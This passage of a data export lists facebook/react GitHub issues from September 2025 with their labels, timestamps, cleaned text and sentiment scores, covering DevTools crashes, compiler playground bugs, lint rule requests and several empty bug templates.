  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-09-27 21:13:25+00:00,2025-09-28 00:27:03+00:00,0,Status: Unconfirmed,0.1345,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3460416255,[playground]: Syntax error crashes playground,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAMygOzgFwJYSYAEAKgmDgMIQC2ADoQpjgBR0wR1gCURwAOsSJxCFIhE5giAXiLtJAOkGCiRGAhyxiLFaqIAeAHzAJXAL76A9Id3cA3ILMgANCBGY0eAOYoQeehAwOEQ4AJ50CHxEAAoANlBeeJgA8nT4okRmRGgcNEQA5ABGAIaFCLEAtHTxiZgV6sW4FSL0eLEIMJYAJngU+Q6YgiwCQpaWLXRtxemYALIQXQjIRPwgxbGxq45EYNO9nuQxNUmpMzx2LuAAFhAA7gCSzB2Y62AoaK8IZkA

### Repro steps

Create a syntax error in the playground.

For example, paste the following code into the playground:

```tsx
function TestComponent(props) {
  const oops = props.

  return (
    <>{oops}</>
  );
}
```

### How often does this bug happen?

Every time

### What version of React are you using?

latest

### What version of React Compiler are you using?

latest","Type: Bug,Status: Unconfirmed",2025-09-27 14:58:11+00:00,2025-10-09 19:02:57+00:00,2,"Type: Bug,Status: Unconfirmed",12.17,playground syntax error crashes playground what kind of issue is this react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react compiler build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps create a syntax error in the playground for example paste the following code into the playground how often does this bug happen every time what version of react are you using latest what version of react compiler are you using latest,bug,-0.7003
facebook/react,3459019469,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: [19.1.1](https://github.com/facebook/react/releases/tag/v19.1.1)

## Steps To Reproduce

1. New mac.
2. Install dependencies listed in [Contribution Guide](https://legacy.reactjs.org/docs/how-to-contribute.html#contribution-prerequisites)
3. Open [CONTRIBUTING.md](https://github.com/facebook/react/blob/main/packages/react-devtools/CONTRIBUTING.md) from React Devtools
4. Follow directions for ""Build React and React DOM""
5. From Option 1, ""./download-experimental-build.js --commit=main"" command fails with following error:
```
⠴ Downloading artifacts from GitHub for commit main)
The workflow run for the specified commit (main) could not be found.
```
6. From Option 2, command ""yarn build-for-devtools"" fails with error listed in ""Current behavior""

# Dependency versions:
```
%  java -version
java version ""25"" 2025-09-16 LTS
Java(TM) SE Runtime Environment (build 25+37-LTS-3491)
Java HotSpot(TM) 64-Bit Server VM (build 25+37-LTS-3491, mixed mode, sharing)
```

JDK is v.25, from [Java page](https://www.oracle.com/java/technologies/downloads/#jdk25-mac)


## The current behavior

yarn build-for-devtools fails with:

```
% yarn build-for-devtools
yarn run v1.22.22
$ cross-env RELEASE_CHANNEL=experimental yarn build react/index,react/jsx,re... [TRUNCATED]",Status: Unconfirmed,2025-09-26 20:24:57+00:00,2025-10-04 18:39:04+00:00,1,Status: Unconfirmed,7.9265,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version new mac install dependencies listed in contribution guide open contributing md from react devtools follow directions for build react and react dom from option download experimental build js commit main command fails with following error from option command yarn build for devtools fails with error listed in current behavior dependency versions jdk is v from java page the current behavior yarn build for devtools fails with yarn build for devtools yarn run v cross env release channel experimental yarn build react index react jsx re truncated,bug,-0.891
facebook/react,3454582462,[DevTools Bug] Cannot read properties of undefined (reading 'length'),"### Website or app

internal application

### Repro steps

This issue occurred after I enabled the option to highlight component updates in the interface and tried to record them using the React DevTools profiler. I had also enabled the ""Record why each component rendered while profiling"" profiling option.

<img width=""921"" height=""800"" alt=""Image"" src=""https://github.com/user-attachments/assets/34e1e0ac-3186-4dd5-86bd-63a03742bf10"" />

### How often does this bug happen?

Every time

### DevTools package (automated)

react-devtools-extensions

### DevTools version (automated)

6.1.5-5d87cd2244

### Error message (automated)

Cannot read properties of undefined (reading 'length')

### Error call stack (automated)

```text
at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1224203
    at he.getFlamegraphChartData (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1224614)
    at CommitFlamegraphAutoSizer (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1473032)
    at renderWithHooks (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:66690)
    at updateFunctionComponent (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:96942)
    at beginWork (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:110959)
    at performUnitOfWork (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:182534)
    at workLoopSync (chrome-extension://fmkadmapgofadopljbjfkapdk... [TRUNCATED]","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2025-09-25 17:56:06+00:00,2025-10-13 10:10:01+00:00,4,"Type: Bug,Status: Unconfirmed,Component: Developer Tools",17.6763,devtools bug cannot read properties of undefined reading length website or app internal application repro steps this issue occurred after i enabled the option to highlight component updates in the interface and tried to record them using the react devtools profiler i had also enabled the record why each component rendered while profiling profiling option how often does this bug happen every time devtools package automated react devtools extensions devtools version automated d cd error message automated cannot read properties of undefined reading length error call stack automated text at chrome extension fmkadmapgofadopljbjfkapdkoienihi build main js at he getflamegraphchartdata chrome extension fmkadmapgofadopljbjfkapdkoienihi build main js at commitflamegraphautosizer chrome extension fmkadmapgofadopljbjfkapdkoienihi build main js at renderwithhooks chrome extension fmkadmapgofadopljbjfkapdkoienihi build main js at updatefunctioncomponent chrome extension fmkadmapgofadopljbjfkapdkoienihi build main js at beginwork chrome extension fmkadmapgofadopljbjfkapdkoienihi build main js at performunitofwork chrome extension fmkadmapgofadopljbjfkapdkoienihi build main js at workloopsync chrome extension fmkadmapgofadopljbjfkapdk truncated,bug,-0.8625
facebook/react,3453884393,"[DevTools Bug] Cannot add child ""43538"" to parent ""35533"" because parent node was not found in the Store.","### Website or app

Private software development - sorry

### Repro steps

Trying to inspect a component.

### How often does this bug happen?

Every time

### DevTools package (automated)

react-devtools-extensions

### DevTools version (automated)

6.1.5-5d87cd2244

### Error message (automated)

Cannot add child ""43538"" to parent ""35533"" because parent node was not found in the Store.

### Error call stack (automated)

```text
at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1237326
    at v.emit (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1203447)
    at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1205054
    at bridgeListener (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1620565)
```

### Error component stack (automated)

```text

```

### GitHub query string (automated)

```text
https://api.github.com/search/issues?q=Cannot add child  to parent  because parent node was not found in the Store. in:title is:issue is:open is:public label:""Component: Developer Tools"" repo:facebook/react
```","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2025-09-25 14:23:35+00:00,2025-10-12 13:03:09+00:00,2,"Type: Bug,Status: Unconfirmed,Component: Developer Tools",16.9441,devtools bug cannot add child to parent because parent node was not found in the store website or app private software development sorry repro steps trying to inspect a component how often does this bug happen every time devtools package automated react devtools extensions devtools version automated d cd error message automated cannot add child to parent because parent node was not found in the store error call stack automated error component stack automated github query string automated,bug,-0.936
facebook/react,3453092216,Bug: ExhaustiveDeps issues for useId,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->
When I don't set the value of useId in the deps of useEffect, it shows a warning.
I am using biome which uses eslint react hooks rule, so I want ExhaustiveDeps.ts to be updated.

- biome: https://github.com/biomejs/biome/blob/b091ddf73d323a6929b9601f05ede7e91e4d4cbb/crates/biome_js_analyze/src/lint/correctness/use_exhaustive_dependencies.rs#L264

The useId hook returns stable and immutable value so I believe it can be excluded from deps.

https://github.com/facebook/react/blob/c44fbf43b1e05417619c3b9411d0559824739569/packages/react-reconciler/src/ReactFiberHooks.js#L3489

React version: 19.1.0

## Steps To Reproduce

```typescript
""use client""
import {useEffect, useId} from ""react"";

function Component() {
  const someId = useId()

  // This hook does not specify its dependency on someId. (lint/correctness/useExhaustiveDependencies)
  useEffect(() => {
    console.log(someId)
  }, []);

  return null
}
```

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minima... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-09-25 10:57:01+00:00,2025-12-31 11:05:34+00:00,2,"Status: Unconfirmed,Resolution: Stale",97.0059,exhaustivedeps issues for useid of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed when i don t set the value of useid in the deps of useeffect it shows a warning i am using biome which uses eslint react hooks rule so i want exhaustivedeps ts to be updated biome the useid hook returns stable and immutable value so i believe it can be excluded from deps react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable please provide a codesandbox a link to a repository on github or provide a minima truncated,bug,0.5634
facebook/react,3447534312,Bug: RDT commonly fails to find source,"When using RDT it commonly fails to open to find the source of a functional component. In my testing the functional component must have a hook to find its source.

I'm guessing if RDT would switch back to using something like what happened before this commit https://github.com/facebook/react/commit/e5287287aacd3c51d24e223651b7f38ece584c49#diff-1237c8d5ba2b9883dbe73805ad8bebd84cb20ae1aec03855e545a4be0b0684f9 would fix this problem. It could use `$r.type` instead of `$type`

React Version: 19.1.1
React Devtools version: 6.1.5 

## Steps To Reproduce

1.Open RDT
2.Try to view source of a function component without a hook

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

Example of this happening is on https://nlkwvr.csb.app/

## The current behavior
Button is disabled when functional component has no hooks

## The expected behavior
Button to not be disabled and just work","Status: Unconfirmed,Component: Developer Tools,Resolution: Stale",2025-09-24 04:02:37+00:00,2026-01-16 04:20:01+00:00,12,"Status: Unconfirmed,Component: Developer Tools,Resolution: Stale",114.0121,rdt commonly fails to find source when using rdt it commonly fails to open to find the source of a functional component in my testing the functional component must have a hook to find its source i m guessing if rdt would switch back to using something like what happened before this commit would fix this problem it could use instead of react version react devtools version open rdt try to view source of a function component without a hook your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example example of this happening is on the current behavior button is disabled when functional component has no hooks the button to not be disabled and just work,bug,-0.237
facebook/react,3446895820,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-09-23 22:59:31+00:00,2025-09-24 00:48:46+00:00,0,Status: Unconfirmed,0.0759,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3446895740,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-09-23 22:59:27+00:00,2025-09-24 00:48:59+00:00,0,Status: Unconfirmed,0.0761,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3446895683,Bug:Mohand,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-09-23 22:59:23+00:00,2025-09-24 00:48:37+00:00,0,Status: Unconfirmed,0.0759,mohand of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3441859193,Bug: Prototype Pollution via vulnerable minimist version,"<!--
 High/Critical. Prototype Pollution (CVE-2021-44906) in minimist versions < 1.2.6.
Exploitable via crafted CLI arguments when used by build/test/release scripts, potentially leading to unexpected behavior, overwriting of config values, and in certain toolchains, code execution paths.

-->

React version:

react: 19.1.1
react-dom: 19.1.1
Node: v22.15.0
npm: 10.9.2
OS/Browser: Linux; Android 6.0 (Nexus 5); Chrome 140.0.0.0 Mobile

## Steps To Reproduce

1. Render an <svg> that contains a <g> whose transform is computed from state/props.
2. Update the position dynamically (e.g., switch from one {x,y} to another via useState + setTimeout/useEffect).
3. Observe the console during the update. Intermittently, React throws an internal error and the component fails to 
    render.


Link to code example:

Minimal inline example below (no external dependencies).
Codesandbox repro (optional): https://codesandbox.io/s/new with the code below.

import { useState, useEffect } from ""react"";

const stops = [
  { x: 0, y: 0 },
  { x: 100, y: 100 }
];

function Car({ stop }) {
  if (!stop) return null;
  return (
    <svg width=""200"" height=""200"">
      <g transform={`translate(${stop.x} ${stop.y})`}>
        <image
          href=""https://dummyimage.com/50x50/000/fff.png&text=car""
          width={50}
          height={50}
        />
      </g>
    </svg>
  );
}

export default function Map() {
  const [current, setCurrent] = useState(0);
  useEffect(() => {
    const t = setTimeout(() =... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-09-22 16:50:26+00:00,2025-12-30 10:06:22+00:00,3,"Status: Unconfirmed,Resolution: Stale",98.7194,prototype pollution via vulnerable minimist version high critical prototype pollution cve in minimist versions exploitable via crafted cli arguments when used by build test release scripts potentially leading to un overwriting of config values and in certain toolchains code execution paths react version react react dom node v npm os browser linux android nexus chrome mobile render an that contains a whose transform is computed from state props update the position dynamically e g switch from one x y to another via usestate settimeout useeffect observe the console during the update intermittently react throws an internal error and the component fails to render link to code example minimal inline example below no external dependencies codesandbox repro optional with the code below import usestate useeffect from react const stops x y x y function car stop if stop return null return image href width height export default function map const current setcurrent usestate useeffect const t settimeout truncated,bug,-0.891
facebook/react,3440689698,Bug: Internal React error: Expected static flag was missing al renderizar SVG dinámico,"# Internal React error: Expected static flag was missing al renderizar SVG dinámico

### Describe el problema
Al renderizar un `<svg>` con elementos dinámicos dentro (como un `<g>` con `<image>`) en React 19.1.1, React lanza el siguiente error:

```
Internal React error: Expected static flag was missing. Please notify the React team.
```

Esto ocurre de manera intermitente al montar el componente `Map`, que contiene un SVG con un coche animado y varias paradas.

---

### Lo que esperaba
Que la animación y renderizado del SVG funcione sin lanzar errores internos de React.

---

### Lo que pasó
React lanza el error mencionado y la aplicación falla en la consola.

---

### Información del entorno

- **React:** 19.1.1  
- **React DOM:** 19.1.1  
- **Node:** v22.15.0  
- **npm:** 10.9.2  
- **Sistema operativo / navegador:**  
  ```
  Linux; Android 6.0; Nexus 5
  Chrome 140.0.0.0 Mobile Safari/537.36
  ```
- **Mensaje completo del error y stack trace:**
```
Map.jsx:123 Internal React error: Expected static flag was missing. Please notify the React team.
    <Car>		
    Map @ Map.jsx:123
    <Map>		
    Home @ Home.jsx:15
    <Home>		
    Router @ Router.jsx:35
    <Router>		
    App @ App.jsx:17
    <App>		
    (anonymous) @ main.jsx:4
```

---

### Steps To Reproduce

1. Renderizar un componente que tenga un `<svg>` con un `<g>` que contenga un `<image>` dentro.  
2. Cambiar dinámicamente la posición del `<g>` (por ejemplo, con `useState` y `useEffect`).  
3. Observar cómo React... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-09-22 12:18:01+00:00,2025-12-31 13:15:17+00:00,6,"Status: Unconfirmed,Resolution: Stale",100.0398,internal react error expected static flag was missing al renderizar svg din mico internal react error expected static flag was missing al renderizar svg din mico describe el problema al renderizar un con elementos din micos dentro como un con en react react lanza el siguiente error esto ocurre de manera intermitente al montar el componente que contiene un svg con un coche animado y varias paradas lo que esperaba que la animaci n y renderizado del svg funcione sin lanzar errores internos de react lo que pas react lanza el error mencionado y la aplicaci n falla en la consola informaci n del entorno react react dom node v npm sistema operativo navegador mensaje completo del error y stack trace renderizar un componente que tenga un con un que contenga un dentro cambiar din micamente la posici n del por ejemplo con y observar c mo react truncated,bug,-0.9682
facebook/react,3436697851,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-09-20 05:47:22+00:00,2025-09-20 05:50:56+00:00,0,Status: Unconfirmed,0.0025,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3434712999,Bug: Improve clarity of “Objects are not valid as a React child” error message,"When passing an object as a child, React currently shows:

Objects are not valid as a React child (found: [object Object])

For beginners, this message can be confusing. It may be more helpful if the error:
- Suggests checking for JSON.stringify(obj) or mapping over arrays of objects.
- Provides a link to relevant docs.

Proposal: Update the error message to something like:

""Objects cannot be rendered as children. Did you mean to convert it to a string with JSON.stringify(obj), or render its properties in JSX?""

This would make the error more beginner-friendly and reduce common confusion.


React version:  18.x (latest stable)

## Steps To Reproduce

1 - Create a new React app (e.g., with create-react-app, Vite, or CodeSandbox).

2 - Add the following component:

export default function App() {
  const obj = { name: ""React"" };
  return <div>{obj}</div>;
}


3 - Run the application.
","Status: Unconfirmed,Resolution: Stale",2025-09-19 14:55:23+00:00,2025-12-30 20:06:18+00:00,3,"Status: Unconfirmed,Resolution: Stale",102.2159,improve clarity of objects are not valid as a react child error message when passing an object as a child react currently shows objects are not valid as a react child found object object for beginners this message can be confusing it may be more helpful if the error suggests checking for json stringify obj or mapping over arrays of objects provides a link to relevant docs proposal update the error message to something like objects cannot be rendered as children did you mean to convert it to a string with json stringify obj or render its properties in jsx this would make the error more beginner friendly and reduce common confusion react version x latest stable create a new react app e g with create react app vite or codesandbox add the following component export default function app const obj name react return obj run the application,bug,0.6976
facebook/react,3431288964,Bug: React roots are announced as clickable to screen readers [ Please reopen Issue #20895 ],"React version: 17.0.1

Steps To Reproduce
Activate your screen reader
I used [NVDA](https://www.nvaccess.org/), but [JAWS](https://www.freedomscientific.com/products/software/jaws/) would also work
This will not work with VoiceOver because it does not have the same heuristic about elements with click handlers
Go to a page that has one or more React 17 root nodes. For example: https://qc9xj.csb.app/
Use the regular navigation of your screen reader to explore the page
In the case of NVDA, this would be using Arrow keys up and down
Hear your screen reader announcing the H2 as ""clickable""
Link to code example: https://codesandbox.io/s/epic-babbage-qc9xj (https://qc9xj.csb.app/)

The current behavior
Here is the log of what NVDA says as I'm navigating the page:

content info landmark heading level 1 This is a static HTML footer
(I press Arrow Down)
clickable heading level 2 This is a heading within a React application.
(I press Arrow Down)
banner landmark heading level 1 This is a static HTML header

The expected behavior
It should not announce the heading as clickable/interactive. Here is what it would sound like without React on the page:

content info landmark heading level 1 This is a static HTML footer
(I press Arrow Down)
heading level 2 This is a heading within a React application.
(I press Arrow Down)
banner landmark heading level 1 This is a static HTML header

It should be noted that this is how it used to work in React 16 because the delegation of events was done on the... [TRUNCATED]",Status: Unconfirmed,2025-09-18 17:21:35+00:00,2025-09-18 19:17:07+00:00,1,Status: Unconfirmed,0.0802,react roots are announced as clickable to screen readers please reopen issue react version activate your screen reader i used nvda but jaws would also work this will not work with voiceover because it does not have the same heuristic about elements with click handlers go to a page that has one or more react root nodes for example use the regular navigation of your screen reader to explore the page in the case of nvda this would be using arrow keys up and down hear your screen reader announcing the h as clickable link to code example the current behavior here is the log of what nvda says as i m navigating the page content info landmark heading level this is a static html footer i press arrow down clickable heading level this is a heading within a react application i press arrow down banner landmark heading level this is a static html header the it should not announce the heading as clickable interactive here is what it would sound like without react on the page content info landmark heading level this is a static html footer i press arrow down heading level this is a heading within a react application i press arrow down banner landmark heading level this is a static html header it should be noted that this is how it used to work in react because the delegation of events was done on the truncated,bug,0.7717
facebook/react,3427747212,[Compiler] Reading external mutable state,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhHANgQzGABAFQTABddgAdAO11zgkpJijmIhgAoBKM3YgCwCWYAHQB9AG6Z0UIrgC8ZAL4BuXIqo0A5gmLsBAE24VqNXOh24YshfyFjJ0ogG0DAXWUbTAgGa52AQiswbiD5HgByYgQAD2Jw5Fxw8LUPExorYlhqINSadRMwHT19ABpeGOIjTxpzUgQw4ESo2Pjy2JTq3kERCSkZMBd9VzCEXLUqFSoqSRhykjDKBAB3AiJdTlSqGIAHNlJvKEoWAXpVkgBhCABbXcXKXUbFKpNyEChC3EoIXCuEK4hXmM6AxSE4oNt9JgomVvGxEABVCFQhDDBTvBAAZWIyPYxCYCA2nlquAMYQAjGNiQAjMJREjCbS6AyEkzEhDoMLsAA8hFiADEBOz9LgANYIACecnC3kF6H0ySwVPZUsIJAElE0uBlQuSDhkcmAVOEzWIilw9HOfEwGoQBvYBPkAD4eHTiMJCkzSrgEMbMDBGcI9QTVLD4AhEZCogFwZHg2ozQB6R0s9I6LJ+Ln6ATiR3AdmKLkJrM5lmTShTRbRXYwUj6BDeTBQdD7Q7HU4AWXFAEFttsuGRPBl0zy1pcbvQEPdcEnUvkQCU0PQZZoUCABOOa7xxdt6o0AArSTTqgDy22IJwYai1MGuiSpmCV6AAtNtD+qn1ZMCwn3QbgJzDARZCHEmyUOwxg0AmCa-ts-5Qhe7YQHWCSvFI6CvBMuBgPBYDange5+ueUhcgeUBHpQp7nvQYDJso87gHwEBLAAkvcCAwJQUhgCgDboIUihAA

### Repro steps

See the playground above - if you remove ""use no memo"", the generated code caches away the calls to test.get(1) as it incorrectly thinks that it always returns the same thing, and as a result, the TextField doesn't get updated pro... [TRUNCATED]","Type: Question,Component: React Compiler",2025-09-17 20:43:30+00:00,2025-10-05 16:07:59+00:00,7,"Type: Question,Component: React Compiler",17.8087,compiler reading external mutable state what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react compiler build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps see the playground above if you remove use no memo the generated code caches away the calls to test get as it incorrectly thinks that it always returns the same thing and as a result the textfield doesn t get updated pro truncated,help,0.1027
facebook/react,3425903925,I can't use React DevTools,"I recently installed React Developer Tools and I could not use it. I found out about it in my JavaScript Console and went ahead to install from this link by [React](https://react.dev/learn/react-developer-tools). Since I was using Google Chrome on Microsoft Windows 11 Home Single Language [Version 24H2] (OS Build 26100,4946) {Insider Version} I went and clicked on the button saying Install for Chrome ``` <a href=""https://chrome.google.com/webstore/detail/react-developer-tools/fmkadmapgofadopljbjfkapdkoienihi?hl=en"" target=""_blank"" rel=""nofollow noopener noreferrer"" class=""inline text-link dark:text-link-dark border-b border-link border-opacity-0 hover:border-opacity-100 duration-100 ease-in transition leading-normal"">Install for <strong class=""font-bold"">Chrome</strong></a> ``` and installed it, from [here](https://chromewebstore.google.com/detail/react-developer-tools/fmkadmapgofadopljbjfkapdkoienihi?hl=en) . Later on, when I tested on my own app that I was building. It did not work and showed a error saying [This page doesn’t appear to be using React.
If this seems wrong, follow the [troubleshooting instructions](https://github.com/facebook/react/tree/main/packages/react-devtools#the-react-tab-doesnt-show-up).] Directing me here still it did not work. And, For Your Information I was using http://localhost:5173


Thank You

Reshabh Ohall
(12 y/o, India)

<img width=""1919"" height=""1079"" alt=""Image"" src=""https://github.com/user-attachments/assets/bf604acd-0a44-480e-92a3-384dd5... [TRUNCATED]",,2025-09-17 11:34:55+00:00,2025-12-12 04:39:36+00:00,3,nan,85.7116,i can t use react devtools i recently installed react developer tools and i could not use it i found out about it in my javascript console and went ahead to install from this link by react since i was using google chrome on microsoft windows home single language version h os build insider version i went and clicked on the button saying install for chrome and installed it from here later on when i tested on my own app that i was building it did not work and showed a error saying this page doesn t appear to be using react if this seems wrong follow the troubleshooting instructions directing me here still it did not work and for your information i was using thank you reshabh ohall y o india img width height alt image src truncated,others,-0.4404
facebook/react,3417689589,increase NESTED_UPDATE_LIMIT?,"I'm building an app using mediapipe that requires high fps.
I keep getting error ""Maximum update depth exceeded"" and to my understanding that while this is used to detect infinite loops, it seems in my case I really do need higher update depth.

it used to be 1000 but lowered to 50. since my app reaches 60-70 fps I encounter this error every second, making the entire app lag.
is there a reason not to increase this to let's say 240 or so? or at the very least configurable.

I'm not proficient in react my app was basically vibe coded so I'm happy to learn of ways to circumvent this issue another way, but neither the ai nor stackoverflow or google provided answers.

https://github.com/facebook/react/blob/47664deb8e981ec0425731495be1c5826ce90956/packages/react-reconciler/src/ReactFiberWorkLoop.js#L695",,2025-09-15 12:11:41+00:00,2025-09-17 09:53:01+00:00,6,nan,1.9037,increase nested update limit i m building an app using mediapipe that requires high fps i keep getting error maximum update depth exceeded and to my understanding that while this is used to detect infinite loops it seems in my case i really do need higher update depth it used to be but lowered to since my app reaches fps i encounter this error every second making the entire app lag is there a reason not to increase this to let s say or so or at the very least configurable i m not proficient in react my app was basically vibe coded so i m happy to learn of ways to circumvent this issue another way but neither the ai nor stackoverflow or google provided answers,others,0.3943
facebook/react,3417293736,en-dash in filenames,"There are two files which have an `–` (en-dash) in their fliename instead of the normal `-`.
The offending files are:
https://github.com/facebook/react/blob/main/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/functionexpr%E2%80%93conditional-access.expect.md
and
